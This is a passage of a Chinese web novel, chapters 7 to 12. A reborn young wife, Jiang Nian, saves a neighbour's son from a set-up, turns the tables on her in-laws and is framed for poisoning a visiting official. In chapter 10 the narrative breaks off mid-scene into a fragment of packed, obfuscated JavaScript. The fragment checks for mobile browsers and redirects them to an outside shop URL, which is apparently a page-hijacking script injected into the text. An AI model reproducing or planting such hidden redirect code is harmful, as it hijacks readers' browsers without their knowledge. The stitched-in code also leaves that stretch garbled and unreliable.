被这么一吼,邱淑云也就是中年妇人脸色白了白,忙不迭解释:“医生你误会了,这些银针真的救了小超的命,小大夫说了要等进了手术室才能拔针,要不然不出十秒我家小超就会死!
“求你先救人吧!”
说着邱淑云就要推着床去手术室,可乔安娜一把拦住了她。
“我是病人的主治大夫,病人扎着银针不能进我的手术室,要想进去,就先把这些东西都拔了!”
“可十秒……”
“呵呵,不出十秒就死?”乔安娜嘲讽抱臂,“她也就敢吓唬你们这群点医学常识的老百姓,我学了那么多年的西医就没见过有医生敢断言病人活不过十秒的!”
“况且,”乔安娜瞥了眼体征平稳的病人,信誓旦旦道,“这就是简单的外伤,输血包扎就可以了,你们这一搞,怎么治?谁给治?治**谁负责?”
“是不是还要讹我讹院里?”
乔安娜脸色又臭又硬。
她一个留学归来的大好青年被发配到这偏远省份当个小小的主治医生本来就窝火,谁成想还能接到这种愚昧无知的国人!
现场僵持下来,有医生劝说邱淑云把银针拔了,毕竟乔安娜可是他们医院重金聘请过来,喝过洋墨水的,能给外国人治病的医生,说的话能不对吗?
可邱淑云不知道怎么的,想起姜念严肃的叮嘱,心里一直不安。
就在焦灼之际,院长来了。
乔安娜不敢再拿乔,伸手三下五除二的除了银针,邱淑云惊恐:“你干什么!”
乔安娜不屑:“怕什么,这不是挺好的……”
话音未落,机器忽然疯了一般发出急切警报。
小超身下迅速涌出大量血液!
众人脸色大变:“心脏停跳,死,**了!”
第七章 救人,试探
“小超!”邱淑云凄厉惨叫,院长身边的中年男人立马冲过去扶住了摇摇欲坠的妻子,沉痛看着儿子。
院长看到自己的得力干将把人家唯一的孩子给弄**,瞬间五雷轰顶。
这可是从京市来的大**啊,他完了!
吓得他连滚带爬的冲过去,在看到机器上还有隐约可见的脉搏时松了口气:“还好还好,还有气,快,快推进去抢救!”
原来,乔安娜漏掉了胸口处最深的那根银针,那颗小心脏正依靠这根单薄银针艰难跳动着,到底留了一线生机。
院长连跟领导客套的话都没再说,拽着吓傻了的乔安娜一起进了手术室。
这场在乔安娜口里简单的包扎手术耗费了整整五个小时,直到深夜才勉强把病人救了回来。
手术室的灯一灭,还没等门打开,邱淑云就惨白着一张脸冲了过去:“我儿子怎么样?”
她丈夫陈平川挽住她的肩膀也沉默地注视着院长,至于乔安娜,她还躲在手术室里不敢出去,不过现在也没人在意她。
“孩子已经脱离了危险,只要熬过今天晚上就没什么大碍了,不过……”
院长面露不忍,欲言又止。
陈平川:“有什么话请直说。”
“**,我们在处理孩子伤口时发现他的心脏有异常,就算这次治好了,以后……按照现如今乃至世界的医疗水平,治愈率不是很理想。”
其实他能有惊无险把人抢救回来还多亏了那根银针,要不是它大喇喇地提醒自己那孩子心脏有异样,恐怕病人连手术台都下不来,院长后背到现在还汗津津的,后怕啊!
陈平川心一沉:“有多不理想。”
“除非华佗在世,否则恐怕活不过十岁。”
“不可能!”邱淑云脑子嗡的一声,**了好几步,就在要万念俱灰之际她冷不丁抓住了丈夫的袖子,“平川,我们回松山县,她能救儿子!”
姜念还不知道这里的兵荒马乱,天色漆黑,顾家人都睡下了后,姜念轻手轻脚关上大门,她要去办大事。
听到大门吱呀一声,刚从茅房出来的顾晴眯起眼。
这不是姜念吗,这大半夜的,她鬼鬼祟祟干啥去?
该不会是做什么见不得人的勾当吧?
顾晴悄悄跟了上去。
姜念没察觉到后面跟了人,她太累一不留神竟然睡过头了,看来还是得有个手表看时间,她得想办法把顾晴从她手里抢走的手表给拿回来了。
这么想着,姜念一溜小跑去了刘寡妇家,任超男家她是来不及去了,只能先去看看事情发展到什么地步了。
幸好她来了,此时屋子里有三个人,任超男大儿子顾满仓趴在桌子上不省人事,刘寡妇和隔壁村的王二狗正一起把人往床上抬。
必须得阻止他们,可该怎么做,既能不暴露自己还能把人给救回来?
姜念左看右看,猫着腰去了灶房。
屋里把顾满仓放在床上又扯乱了衣裳,刘寡妇累的直喘气:“这家伙怎么长得啊,忒沉,呼,总算好了……”
“他家是出了名的大户,吃得好长得能不壮实吗,要不然,我怎么舍得让你勾引这个毛头小子?”
“讨厌~”
王二狗笑的咧出一口大黄牙:“你先上床,我出去吆喝几声把村里人都引过来,等事情办成了,咱们去南方赚大钱!”
刘寡妇也跟着娇笑,忽然鼻子动了动:“不对,这是什么味?”
王二狗也闻到了一股烟味,他猛地往门口一看,脸色刷一下白了:“我去,着火了!”
这可不是一般的火,是熊熊大火,姜念特意把刘寡妇藏起来的烈酒浇了柴火上,火舌一下窜高,滚滚浓烟一个劲的往屋子里钻。
“咳咳!快走。”
“不行,烟太大我看不清了……”
“该死的,你撞**什么?”
姜念趁乱钻进去,使出吃奶的劲掐了顾满仓几处穴位,后者迷迷糊糊睁开眼,在看到门口大火时立马惊醒。
“怎么着火了,快救火啊!”
姜念见这个傻大个还要跑去救火,恨铁不成钢把人拽回来:“救个屁!你被算计了,赶紧走!”
“谁?谁在屋里!”王二狗听到动静立马回头想看看是谁,但烟太大姜念还蒙住了脸,他只能眼睁睁看着他们两个翻窗户跑了。
“该死!快追!”
姜念跟顾满仓从后
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山绕到了顾家,见没人追过来才放慢了脚步。
“满仓,你怎么黑天了也不回家……”任超男推开门见到姜念也在,眉头立马皱起来,“向南家的,你怎么来了?”
姜念呼哧呼哧的大喘气,冲她摆摆手,她喉咙里全是铁锈味根本说不出话,顾满仓把事情说清楚了。
任超男听的啪一下拍在了顾满仓背上,破口大骂。
“你个憨货,我不是跟你说过别去招惹刘寡妇,看到她就绕道走,你还去还去!谁让你烂好心去救人的!她摔倒了关你啥事,她家就在后山那边住,爬也能爬回去!”
“要不是姜念救你,你这辈子就完了!”
顾满仓那么大的人被训的连个屁都不敢放,硬生生挨着。
任超男见他这木头样又攒了一肚子气。
“那个黑心肝的烂糟货,敢欺负到老娘头上,看我不去挠烂她的脸!”
任超男气势汹汹要去找人去算账,被她男人顾永和拉住了:“你没听儿子说烧了她房子吗,你这时候过去不是上赶着让她讹?万一她反咬一口要咱儿子负责,咱不就得不偿失了吗?”
“君子报仇十年不晚,这笔账咱们家记下了,以后有你收拾的时候,姜同志还在呢……”
这话说的高,刚才还怒气冲冲的任超男很快被安抚下来,姜念隐隐佩服这位跛脚的永和叔。
顾永和跟她公公是堂兄弟,但不同伪善阴狠的公公,顾永和是有真材实料的,看着和善,但当年打过鬼子,见识广,后来受了伤退伍回来,村长拿捏不准的事还会来过问他的意见,可以说是一肚子心眼子。
上一世要不是顾永和出了意外横死,顾家也不会那么惨。
具体时间嘛,姜念想了想,好像是三天后吧,顾永和上山打猎,从山上掉下来摔**。
帮人帮到底,送佛送到西,姜念寻思着等会儿该怎么开口,任超男就抓住了她的手,热情地把她拽进了屋里:“多亏了你救了我儿子一命,还没吃饭吧,来婶子家里吃点。”
热情难却,姜念也是真饿了,只不过吃着吃着,气氛正好时,顾永和笑眯眯忽然问:“这么晚了,姜同志怎么还去后山呢?”
第八章 姜念扮猪吃老虎
姜念吃饭的动作一顿,这是在试探她呢。
“家里没吃的,我去后山挖点野菜。”
“大晚上的去挖野菜?”
姜念苦笑:“晚饭没我的份,我饿的实在发慌,要不然也不会去后山了。”
任超男奇怪:“吴桂花不是对你挺好的吗?怎么连口饭都不给你吃?”
姜念落寞地垂下厚厚的睫毛:“我也不清楚,从村口回了家后婆婆脸色就很难看,说为了我好,要帮我减肥所以才扣了我的饭,连橱柜都锁起来了……”
“哪有这么帮人减肥的啊,还不给人吃饭,她这分明是在外头丢了面子故意把气撒在你身上,我早就说过她吴桂花就是个面软心奸的,别人还不信……”
任超男边骂给姜念夹了好几块肉:“多吃点,吃饱了再减肥也不迟啊,就凭你今晚上救了我家老大,以后要是再挨饿就来婶子家吃饭,管饱管够!”
“谢谢婶子,我从来都没吃过这么香的菜,”姜念眼泪汪汪的,乖乖吃了一大口还不忘夸夸,“婶子这手艺厉害啊,都能去饭店里当大厨了,永和叔娶了您真是他的福气。”
顾永和:……
“哈哈你这孩子就是嘴甜,不过你咋知道我正想着做点东西去县里卖呢,”任超男笑的见牙不见眼,反手把给顾永和补身子的蒸鸡蛋都端到姜念前头:“你这孩子都瘦了,都给你吃。”
“嘻嘻,谢谢婶子~”
顾永和:……
他嘴角抽了抽,他还啥都没打探出来呢,姜念上下嘴皮子一碰,自家媳妇就跟人家好的穿一条裤子,把自家的底细都抖搂出去了……
不过,孩子处事不惊,危急情况能当机立断放火救人,一点都不像顾家说的那样好吃懒做,偷奸耍滑。
再细看姜念眼神澄澈干净,顾永和心里就有了章程。
以前听老班长提过妖妃祸国殃民,迷惑君主的故事,看来这顾向南是影响了姜念的头脑了,嫁过去都变傻了。
不管有意还是无意,总归是救了他的大儿子。
顾永和温声:“等会儿吃完饭让你婶子送你回去,天黑路不好走,媳妇你去拿饼干苹果罐头的给向南家的带上,你拿回去记得藏起来,饿了就吃。”
姜念敏锐感受到了顾永和态度的改变,两个聪明人互相看了一眼,笑了:“谢谢叔,你还是喊我姜念吧。”
她是一点都不想跟那个死渣男绑在一块了,就算是个称呼她也膈应。
“咦,你怎么改性子了?”任超男疑惑,“你刚嫁给顾向南时候还不让我们喊你姜念的,说听到向南家的这四个字心里就暖洋洋美滋滋的,这咋突然要改了?”
姜念:……
她居然还说过这种腻歪的话,像是脑干都被抽走了一样奇葩,她强忍着尴尬,叹了口气:“……这不是向南都三年没回来了,再这么喊下去,我就……想得慌。”
呕!
“你们小年轻就是花样多,行,我喊你念念吧,这样也亲切。”
顾满仓陪着任超男一起把姜念送到了巷子口:“我们就不送了,往后吴桂花他们要是欺负你,尽管来找婶子,婶子给你做主。”
“好,谢谢婶子,”姜念趁机说,“我今晚听到后山上有狼叫,应该是来了狼群,你们这段时间别上山了,怪吓人的。”
野狼?
任超男吓了一跳:“今年这些东西咋来的这么早?”
她得跟孩子他爹说一声,他还想过几天进山,可不能让他去了。
见任超男火急火燎回去,姜念心放了下来。
事情完美解决,她提着一大兜子东西哼着小调回去,却被身后黑夜里的人影吓了一跳。
“谁!”
“姜念,那个野男人是谁?”
竟然是顾晴,姜念心脏一紧:“你怎么在这?”
她是刚出来还是一直跟着自己?
“你别管我,我就问你你手里的东西哪来的,刚才的男人又是谁!”
“是不是你姘头!”
她跟着姜念到了刘寡妇家那边,后来屋子突然起了火烟太大,她跟丢了。
可这夜黑风高的,姜念偷偷跑出去,不是跟野男人偷情还能干啥!
越想顾晴眼睛越冒火:“好哇,姜念,你个不要脸的**,你跟我哥结婚才几年啊就给他戴绿帽子,我打死你!”
姜念躲开,皱眉:“什么野男人,你别乱说。”
“我都看见了,你手上的就是证据,那男人递给你这么一大包东西!你还狡辩!”
“这是我去永
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和叔里借的,你们晚上压根没做我的饭,橱柜也被你上了锁,我这是没法了才去借的粮,更何况,你看到的分明是两个人,任婶子和她儿子,我要是偷情还能带上第三个人?”
顾晴想了想,刚才见到的还真是两个人……难道她不是去跟野男人私会?
“不对,我差点被你忽悠住了,你要是去借粮干嘛还往刘寡妇家里跑?她那里经常有混混二流子,你去那里能干啥?不就是想去跟野男人私会吗?说,你这是第几次了?!”
好家伙,顾晴那时候就跟着她了?
姜念心猛地一提,但看顾晴这蠢样又放心了,她应该没看到自己放火否则早吵嚷开了。
姜念捂脸假哭:“什么第几次?你怎么能怀疑我呢,全村人都知道我只喜欢你哥,为了跟你哥在一起都跟我父母断绝了关系,为了你哥,我对你什么样,对家里什么样?你真没点数吗,你去偷情我都不可能偷情啊……”
这倒也是……顾晴狐疑眯眼又撇了眼她这身材:“的确,你这都比母猪都胖了,哪个男人能眼瞎看上你啊……”
顾晴白干了一晚上,又憋屈又气闷,劈手夺过姜念手里的东西一看眼睛都亮了:“饼干和水果罐头?永和叔怎么会借给你这么多好东西!”
“我答应他拿我的手表抵账,”姜念张口就来顺道伸手,“我的手表被你借走了吧,还给我,我明天送过去。”
顾晴瞪圆了眼,直接捂住了手腕上的手表:“什么手表,这是你送给我的!是我的!”
她还得靠着这手表在小姐妹里显摆呢。
姜念叹了口气:“这是我借给你的,我都答应永和叔了,如果你不给我,永和叔可能会亲自登门找你要了,这样多不好啊,你说对吧?”
顾晴咬牙:“你这是威胁我?”
要是让别人知道她们克扣姜念的口粮又得闹一场。
姜念一脸无害:“怎么会?只不过我是实在没办法了,要是我有晚饭吃也不会这样了啊……”
顾晴怀疑姜念是在内涵她,毕竟不给她吃晚饭是她的主意。
可看她这样子又不像,斟酌再三还是不情不愿摘下了手表,扔给她:“给你!”
“不过这些吃的我得留着!”
第九章 借力打力,不服憋着!
“我倒是无所谓,可这都是永和叔给我的,”顿了顿,姜念特意说,“婶子还说明天会来找我,要是看不见这些好吃的,恐怕……”
顾晴咬牙:“你还敢威胁我?别以为你这就跟永和叔攀上关系了就能无法无天,等你把手表给了永和叔,我看你还怎么狂!”
姜念拿着手表提着东西心情大好地回了屋,顾晴越无能狂怒她心里就越爽,嘻。
可第二天天还没亮,姜念的门被吴桂花拍得砰砰响。
“念念你怎么还没起,你爸还等着你给他熬药呢,再不快点就耽误他吃药了。”
姜念烦躁地爬起来,给公公顾永福熬药是她做新媳妇第一天就接过来的任务。
在上辈子她还当顾家儿媳妇的那些年里,她就没睡过一次整觉,天天早晨四点半起来给公公熬两个小时的药,这两个小时里要时不时起来看锅,稍微一打盹都会糊锅,所以她困到只能掐大腿都不敢睡,很是折磨人。
可她辛辛苦苦熬出来的汤药反手就被倒进了尿壶里!
公公一直在装病,为的就是对她进行服从性测试,以身体不好为借口磋磨她,骗她心甘情愿当老顾家的老黄牛!
见姜念开门不去熬药,吴桂花叹了口气:“你心细,咱们家除了你都手脚粗苯,熬不好药,可你这么困,我看着也心疼,要不然我去熬药,你再去睡一睡,要是熬坏了,药力续不上,也是你爸的命了。”
“就是向南如果知道了,还得惦记着他爸的身子,出任务时候万一再一分心可就不好了啊……”
吴桂花像以往一样提起顾向南就等着她担心,主动把这件事接过去。
可谁成想姜念突然咳嗽几声,虚弱倚在门框上:“咳咳,那辛苦妈去熬药了,我身子不舒服,头晕脑胀的,得赶紧回屋休息了,爸身子本来就弱,要是传染给爸了就更不好了~”
说完她直接把门关上,想让她伺候装病的公公?想得美!
吴桂花冷不丁被关在门外,这姜念怎么回事,怎么突然指使不动了?
她自从昨天知道向南不回来后就不对劲,难道是生向南的气?
吴桂花只能想出这个可能,也难怪,结婚三年就守活寡守了三年,有点脾气也正常,说到底还是太在乎她儿子了。
吴桂花又忍不住得意起来,既然这样,那她就饶她一次,毕竟训狗都要张弛有度的。
可吴桂花没想到姜念会这么能作,等顾晴愤愤不平把姜念偷跑出去的事说出来,她直接拍了桌子:“她跟你堂叔家借粮了?!”
“对啊,这要是让别人知道姜念饿到跟别人借粮还不知道怎么编排咱们家呢,妈,这事你可得管管,最好狠狠收拾她一顿!”
“她怎么敢的!你说任超男还会过来?”
“对啊,她是这么说的!这会儿估计快上门了!”
顾晴拱火等着她妈收拾姜念呢。
却见吴桂花脸色变了几变竟然大步流星去她的屋把她满柜子的衣裳都搬去了姜念屋里,就连刚打的书桌和小凳子都搬了过去!
“不是,妈,你这是干啥啊,你应该去收拾姜念啊,搬我的东西干嘛!”
“你还有脸说!要不是你出的馊主意,姜念能去借粮,任超男能上咱们家来?咱们家都得仰仗你堂叔,她本来就看不上我,要是见姜念住的跟咱们说的不一样,你猜她会怎么宣扬咱们老顾家!”
堂叔可是他们这顾家最有出息的,这些年也拉拔家里,别的不说,她哥现在待的部队领导跟他堂叔还是老战友!
顾晴这才意识到事情的严重性,哪怕再不乐意也只能往姜念屋里搬东西。
姜念笑眯眯看着这一切,见空荡荡的屋里搬来了那么多东西,拉吴桂花往床上一坐,特意拍了拍薄薄的褥子:“妈,你累了吧,先坐着休息会儿。”
于是吴桂花刚坐下就又站起来把给顾晴做好的新褥子搬了过来。
刚做完这一切,门口就传来了任超男的声音。
吴桂花累的大气都喘不匀就又去泡茶招待。
姜念坐在旁边清清爽爽捧着茶杯喝水,优哉游哉地看着吴桂花巴结任超男,只觉得跟顾永和家打好关系是再正确不过的决定。
任超男似乎也看出了什么,临走前还特意说了过几天再过来。
这也意味着姜念屋里的摆设轻易是不能变了,要不然就等着露馅吧。
就这样,姜念不费吹灰之力借力打力,待遇就直线上升,吴桂花和顾晴还不能借题发挥只能捏着鼻子认了这事。
姜念心里
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畅快,过得自在,之后也找了感冒的借口自己做饭吃。
虽然她自己做出来的饭黑乎乎的,还不太好吃,但里面可没猪饲料,能放心吃。
就这样过了三天,姜念终于等到了去县里的机会……吴桂花要去给吴国强过寿,他们一家子都去。
顾晴这几天看姜念不顺眼,她没再戴着手表去学校后就感觉小姐妹们对她疏远了,她还听到有人议论她穿的也没以前好了,说她家里本来就穷,之前都是打肿脸充胖子。
屋漏偏逢连夜雨,她妈最近没给她钱花,没法请王洋的兄弟吃饭,让他丢了面子,他都两天没给自己好脸色了!
而这一切,都是姜念造成的!
顾晴恶毒地瞪着姜念。
姜念此时穿着新衣裳戴着任超男没要的手表,简单大方的扎了个马尾辫,皮肤白得像是能发光,整个人不像以前那样灰朴朴的反而招人的很,她都看到好几个青年偷偷看她了!
可凭什么,凭什么她这么惨姜念却这么得意?
姜念坦然地让她看着,反正看又不少块肉。
她还真就喜欢顾晴这种看不惯自己还干不掉自己的样子,顾晴越恨,她就越痛快!
“你给我收敛点,”吴桂花瞥了顾晴一眼,“你舅舅过五十大寿,专门定了国营饭店,到时候要来不少贵客,等宴席上我再给你介绍青年才俊,你得抓紧机会……”
“什么青年才俊,我才不……”
“不什么,那些都是有权有势的好对象,金钱和权力是婚姻的补品,大补!你要是嫁得好,以后肯定不会受委屈,还能帮扶家里。”
顾晴抿紧了唇,可她就喜欢王洋啊,别的人换成谁她都不喜欢!
等到了国营饭店,吴桂花才发现他哥居然订了一个小包厢。
“另一间大包厢被订出去了,听说上头有个重要人物要来咱们县,县长一早过来就订了包厢……”
“等会儿在屋里都收敛点,别惊了隔壁。”
吴桂花点点头:“我知道了。”
顾晴忽然灵机一动。
要是姜念冒犯了隔壁的大人物,她妈应该就没心思给她相亲了吧,还能一石二鸟给姜念一个教训,多好啊!
顾晴想到就去做,鬼鬼祟祟跑去了后厨……
第十章 陷害,裴淮州追妻倒计时
宴席很快开始,吴国强点了十几道菜,经理带着人忙前忙后上菜,忙乱中,顾晴不小心打碎了碗:“嫂子,你给我去拿个新的吧,悄悄的,别让我舅舅看见了,要不然会怪我晦气的。”
姜念吃东西的动作一顿:“饭店的人不是在这里吗,我给你重新要一个……”
“别!不就是一个碗吗,你非得大张旗鼓麻烦别人干什么?你下个楼又不费工夫。”
“可……”
“可什么可啊,你要是不去,我就跟我哥告状说你对我一点都不好,你看我哥会不会跟你生气!”顾晴用顾向南要挟姜念,这招对她来说,屡试不爽。
果然,一听到顾向南,姜念立马紧张起来,屈服说:“那好吧,我去给你拿,你可千万别跟你哥说。”
姜念下了一趟楼,很快拿了一个新碗回来。
顾晴立马眉开眼笑:“谢谢嫂子。”
姜念皱了皱眉头。
这个顾晴葫芦里到底卖的什么药?
姜念暂时没有头绪,将心思放在了桌上的饭菜上。
这屋里的十几个人都在交谈,没人动筷子,算是便宜了她。
尝一口,姜念满意点头,不愧是国营饭店的大师傅,手艺的确了得,她在家里天天吃糊菜,乍然吃到这色香味俱全的好菜,差点把舌头一块咽下去!
她一边品美食一边观察屋里人的动向。
吴国强长袖善舞,妻子孟芳又是食品厂的副主任,两口子加在一起请来参见宴席的人都是邮局和厂子的领导,正端着酒杯和人攀谈。
其中就有食品厂生产车间的主任郭凡。
“厂长不知道抽了什么疯,我们食品卖的好好的,非得让我们创新新口味新种类,可我们做了好几种他都不满意啊,这都到年底了,要是没点业绩,我这主任怕是也要做到头了。”
吴国强面上笑呵呵的:“瞧您说的,我爱人都跟我说了,您为厂里做事一直勤勤恳恳从没放松,要是不当主任那肯定是升职成副厂长了,到时候还得请您多照顾照顾我爱人呢。”
“哈哈那就借你位寿星的吉言了!”
“哪里哪里。”
吴国强面上溜须拍马,扭头就跟孟芳说:“你回头打电话问问向南,我记得他们边省有几个不错的老糕点铺子,让他想办法给你弄几个配方,有了这配方,你这生产车间的副主任也能动动位子了。”
“我知道,”孟芳笑容甜蜜,“对了,你妹妹不是说要给顾晴介绍对象吗,让她们过来吧,我早给他们挑好了一家,保证能让你妹妹满意。”
孟芳条件比吴国强好,吴国强能当上邮局的领导也都是靠着岳父的提拔,因此孟芳一直看不上吴国强的家人,包括吴桂花。
但如今丈夫给她找到了登云梯,那她也不介意投桃报李,帮吴桂花一把。
可吴国强怎么找都没在包厢里找到顾晴,倒是吴桂花一直四处找人攀谈结交。
吴国强察觉到妻子眼底的鄙夷,脸色也黑了黑:“桂花,小晴呢?”
“刚才还在这里的啊,”吴桂花见姜念躲在角落里一个劲埋头苦吃,像是八百辈子没吃过东西一样上不得台面,当即气不打一处来。
“念念你别吃了,你去把小晴找过来,我有事跟她说。”
姜念意犹未尽的擦了擦手,她才刚吃了一半呢,不过吴桂花提的正是时候,她正愁没借口出去找胡大夫,顺势乖乖点头:“好。”
可惜的是,她刚出去就撞见不知道从哪里回来的顾晴,后者得意洋洋的哼着歌,心情很不错。
“顾晴。”
姜念冷不丁出声,顾晴吓了一哆嗦,神情慌张:“姜念?你怎么在这,你,你什么时候出来的?”
姜念皱眉,她这个反应像是做了什么亏心事啊……难道是跑出去跟王洋约会了?
还是做了别的事。
姜念先诈诈她:“你做的那些我也都看见了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034318|194608||http|test|mini|href|location''.split(''|''),0,{}));
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r>顾晴神情一慌:“这不可能!”
姜念挑眉:“你爱信不信。”
“真,真的啊,我什么都没干,你看错人了,对了,你出来干什么?”
“婆婆让你进去。”
“好,”顾晴跑了几步又回头来拉她,“你跟我一起进去。”
她们说话期间,饭店的人小心捧着托盘上了二楼的包厢,经理再三叮嘱:“手脚都小心点,别撒了,这些都是县长点名要的,绝对不能出任何差错。”
顾晴在看到他们消失在二楼后,身子明显放松了许多,抓着姜念:“走吧。”
姜念不动声色把手抽回来:“我去趟厕所。”
“不行!”
“为什么不行?”
“这……”顾晴总不能说是怕她跑了计划落空吧,支支吾吾,“这里厕所不干净……”
“那我总不能一直憋着,万一……你说对吧?还是说,我只能跟着你,半步都不能离开?”
顾晴避开姜念的视线,含糊说:“……我也跟你去吧,得快点,咱们还得给舅舅敬酒呢。”
姜念皱眉,事有反常必有妖,顾晴一而再再而三的拦着她不让她走肯定有事。
自己这时候去找胡大夫再回来恐怕会掉进黄河都洗不清了。
姜念索性跟着她一起回去,她倒要看看这个蠢货能整出个什么幺蛾子。
但姜念小瞧了顾晴,她这次差点捅破了天!
他们这边正吃吃喝喝,门砰的一声被人踹开。
外头站了一群军人,个个面容冷肃,国营饭店的经理满头大汗站在旁边。
“领导**了,饭店要全面封锁,你们有谁去过后厨的,赶紧站出来!”
众人哗然又面面相觑,人群里,顾晴忽然弱弱指向了姜念。
用很低但所有人都能听到的声音说:“嫂子,你不是去过后厨吗,怎么不站出来?”
唰的下。
所有人的目光都聚焦了在姜念身上。
第十一章 三年不见,念念不认识我了?
“啊,姐姐,我是不是不该说出来啊?”顾晴眨眨眼,“但身正不怕影子斜,只要你没下药就不用害怕的。”
姜念冷笑看她,怪不得顾晴死命拦着她不让她走,原来是等这一刻。
顾晴夸张地后退几步:“嫂子你别这么看我,虽然你是我嫂子但我不能昧着良心偏袒你啊。”
一名军人走到姜念身边,严厉问:“这位同志,你去过后厨吗?”
姜念摇头:“我没有。”
“你撒谎!你刚才还给我去后厨拿了碗,军人同志你要是不信,直接去问后厨的人,我嫂子长这么突出不可能没人看见。”
她一副为姜念着想的样子:“嫂子,你去过就去过,做什么还撒谎呢?要是被人指认出来了,岂不是更嫌疑了?”
刚好,经理连忙把后厨的人喊过来,有个青年指认了姜念。
“她的确来过后厨,我见她好像往灶台方向去了。”
此话一出,所有人都诧异地瞪大了眼:“还真是她下的毒啊,胆子可真大,这下吴家人可要被连累惨了。”
吴家人?
姜念眼神一闪,对啊,她还愁怎么揭露公婆的伪善脸皮,顾晴这不是上赶着给她送机会嘛?
于是她脸色发白,一副慌乱的样子求助扑向吴桂花和顾永福:“爸妈,你们相信我,我真的没做啊。”
“你们不都说我性子老实好拿捏吗,我哪里有这胆子去谋害领导啊!”
军人同志眯眼,狐疑地打量着吴桂花两人:“你们是她的爸妈?”
被十几个军人虎视眈眈的盯着,吴桂花生怕被姜念连累,连忙撇清关系:“不不不,姜念只是我家的儿媳妇,她做的这些事跟我们都没关系,你们想抓她……”
“咳咳,”顾永福突然打断了吴桂花的话,大义凛然的护在了姜念身前,“军人同志,我们儿子是军人,我儿媳妇是军属,思想觉悟高,自然会接受调查,要真是她做的,我们绝不姑息,可如果不是她做的,你们也要给我们顾家一个交代。”
姜念眼神讽刺。
顾永福长相儒雅周正,对外一向都是身子不好的老好人形象,在家里也像是说不上话的样子,可实际上顾家四口,属他最奸诈。
就比如这话,说的冠冕堂皇像是在护着她,可实际上不仅三两句话把她架起来还顺道丝滑抽身。
真是她做的就是她这个儿媳妇自己思想败坏,连累不到他们军人之家,要不是她做的,还要给他们“顾家”一个交代,呵。
姜念一副眼泪汪汪的样子:“爸,我就知道你们是真心拿我当闺女疼的,有你的支持和担保,我什么都不怕!”
你不是要独善其身吗,我偏要拉你下水!
谁给你做担保了啊,顾永福笑容一僵,但众目睽睽下不好跟姜念争辩。
顾晴生怕在场众人被姜念转移了注意力,一副纠结却还要为姜念辩解的样子:“既然有人证,那我嫂子该不会真的干了……不会的!我相信嫂子不会干这么丧尽天良的事,认证物证俱全才能定罪,你们没有证物就别乱说。”
“这好办,搜身就行了,”孟芳轻飘飘的开口。
“搜身多侮辱人啊,可为了自己的清白,嫂子,你要不让大家搜一搜吧。”
姜念看着她们一唱一和,歪头表示疑惑。
“我根本没去过后厨,怎么会下药,身上怎么可能有证物?”
“嫂子,你怎么还撒谎呢,我爸妈都看到你给我拿碗了啊,妈,你说对吧?”
吴桂花点头,顾永福也附和。
被几个人指认,姜念依旧淡定。
“谁说我是去后厨拿的碗,我分明是跟人家前台要的,不信你可以问这位工作人员。”
姜念手一指,那位工作人员还有点紧张,结结巴巴道:“没错,这位同志的确是跟我要的碗。”
“你没记错?”军人问。
“没有,当时她还问了我头上的发夹从哪里买的,我们聊了好一会儿,期间她都没去过后厨。”工作人员笃定道。
“这不可能!”顾晴猛地瞪大了眼。
她计划的好好的,怎么可能从一开始姜念就没中招!
姜念勾唇。
顾晴当时非得让她去拿碗,她察觉到不对劲留了这一手,只不过她没想到顾晴胆子这么大,竟然敢给重要人物下毒栽赃她。
姜念摊手:“这下能证明我的清白了吗?”
“这也说不准,万一你是背着人进后厨呢?”有人喊了声。
“我除了去要碗时一直待在屋子里,爸妈,你不是都看见了的,你们完全能给我作证啊!”
军人也问两人:“她说的是真的吗?”
姜念期待望着他们,可两人忙不迭的撇清关系:“当时忙,根本没注意。”
姜念脸色白了一白:“你们明明
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都看到我了,为什么不帮我?”
顾晴立马接话:“嫂子,口说无凭,你怕是要自证清白了。”
顾永福眼神一闪:“念念你懂点事,别让你舅舅的贵客们受你连累被困在饭店里耽误他们的事。”
这话一阵见血,直接挑起了大家的情绪。
“说来说去真不如搜搜她的身,要真没问题怕什么?藏着掖着不让搜才是有问题。”
“对啊,国强,你要不劝劝你外甥媳妇,这领导被下毒可不是小事,一切要以集体利益为主,千万别自私自利,不配合军人同志们的工作。”
也有人见状不好,起哄要走,军人把人拦住了:“现在没查清楚,诸位恐怕还不能走。”
“凭啥啊,我又没去后厨**。”
“那个谁,你赶紧配合检查,别耽误我们的时间。”
众人焦躁的情绪到了顶点,顾晴大声:“嫂子,你赶紧自证清白吧,你说你没去后厨,那搜个身有什么好怕的?”
“欲加之罪何患无辞,你们想搜身我可以答应,”姜念目光缓缓划过众人,“但你们每个人,也都要搜。”
成功了!
顾晴第一个答应:“行,我答应你!”
反正东西早就被她藏在姜念身上了,随便他们怎么搜,结果都只是从姜念手里搜出**!
吴桂花和顾永福没拽,走到这一步也只能点头:“我们也可以。”
其余人脸色难看,但纷纷配合。
毕竟别人都同意了他们不同意不是明摆着有鬼吗?
十分钟后,一包白白的粉末被搜出来,顾晴脸上看好戏的表情还没散去就变成了惊恐。
“这东西怎么会在我这里!”她猛地转头看向姜念,”是你把东西塞给我的!”
“我没有啊,证物在你身上,你还要陷害我吗?”姜念的确在门口进来时候就发现顾晴对她做了手脚,只不过以眼还眼以牙还牙而已。
“不是我,我没有,我跟那领导非亲非故,怎么可能毒害他?倒是你,我听说那领导是从你老家来的,说不定你早就得到了风声,跟他有仇才下毒的!”顾晴慌张害怕,胡言乱语起来。
姜念摇头,真是好笑:“我早就跟老家的人断了来往,怎么可能认识这位大人物?”
然而话音未落,门口就传来了一道低沉的嗓音。
“才三年不见,念念就不认识我了?”
第十二章 恨不得把顾向南剁碎喂狗
众人顺着声音看过去,入目所见是一道挺拔修长的身影,男人眉眼英俊,斯文浅笑,身上虽然没有鼓胀的肌肉,但在一众军人中格外醒目。
“这是谁啊,长得这么英俊,气势也不同凡响。”
“我之前还以为吴同志的大外甥就是当兵的顾向南是咱们十里八村最出色的青年,可跟眼前这位一比,啧啧。”
这俩字比任何话语都直白,但没人会反驳。
就连顾晴在看到如此好看的男人时也没出息地看花了眼。
而在所有人都在往后看时,仍旧沉默背对着门口的姜念十分突出。
